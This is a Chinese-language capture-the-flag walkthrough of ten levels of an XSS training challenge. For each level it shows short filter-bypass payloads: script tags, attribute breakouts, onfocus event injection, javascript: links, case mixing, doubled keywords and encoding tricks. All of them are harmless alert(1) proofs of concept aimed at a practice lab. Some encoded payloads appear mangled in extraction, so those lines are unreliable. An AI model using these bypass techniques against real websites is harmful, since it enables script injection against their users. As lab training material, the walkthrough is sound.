简介
XSS挑战赛,里面包含了各种XSS的防御方式和绕过方式,好好掌握里面的绕过细节,有助于我们更好的去发现XSS漏洞以及XSS的防御。本文更多的是分享解析的细节,不是一个标准的答案,希望大家在渗透的时候有更多的思维。
挑战开始
Level1
通关过程

 第一关总的来说,比较简单,直接先尝试:
 
payload
<script>alert(1)</script>
Level2
通关过程
直接尝试payload:
 
 查看源码:
 
 想办法去逃逸输入框:
 
 
payload
a"><script>alert(1)</script>
Level3
通关过程
直接尝试:
 
 发现没有弹窗,审核源码:
 
 到这里说明,不能再输入标签了,所以需要转换思路,这个地方标签不行,那我们就尝试事件,这个地方考虑使用onfocus事件:’ οnfοcus='alert(1)
 这个单引号就是为了闭合value的单引号。
 
paylaod
' οnfοcus='alert(1)
Level4
通关过程
直接尝试:
 
 分析源码:感觉和第三关思路一致
 
 尝试: " οnfοcus="alert(1)
 
payload
" οnfοcus="alert(1)
Level5
通关过程
直接尝试:
 
 意味着不能输入script标签了,换思路,用事件:" οnfοcus="alert(1)
 
 考虑这个地方有没有可能是个黑名单机制呢?换不常用的事件:
 
 看来过滤的比较讲究,那么我们试试逃逸输入框,用其他标签来试试:
 ">jack
 
 点击通关:
 
payoad
"><a href="javascript:alert(1)">jack</a>
Level6
通关过程
直接尝试:
 
 直接尝试:">jack

 
 尝试大小写绕过:">jack
 
 
payload
"><a HrEf="javascript:alert(1)">jack</a>
Level7
通关过程
直接尝试:
 
 双写?alert(1)
 

 尝试:">alert(1)

payload
"><scrscriptipt>alert(1)</scscriptript>
Level8
通关过程
直接尝试:
 
 看源码:
 
 那么伪协议?
 javascript:alert(1)
 
 这个地方多半对事件也进行了处理,双写就不用试了,因为没有删除关键字
 考虑到unicode是支持所有的编码,那么转成这个编码看行不行:
 
 所以直接尝试:
 
payload
javascript:alert(1)
Level9
通关过程
直接尝试:
 
 需要一个合法链接?
 那么输入:javascript:alert(1);//http://www.baidu.com
 
 还是被处理了,那么用和8关相同的编码试试:
 javascript:alert(1)//http://www.baidu.com

payload
javascript:alert(1)//http://www.baidu.com
Level10
通关过程
直接尝试:
 
 看来被实体化了。看源码:
 
 尝试着传递这几个隐藏域的值:
 
 构造逃逸:t_sort=a" οnfοcus=“alert(1)”>
 
 继续构造:t_sort=a" οnfοcus=“alert(1)” type="text
 
payload
&t_sort=a" οnfοcus="alert(1)" type="text



















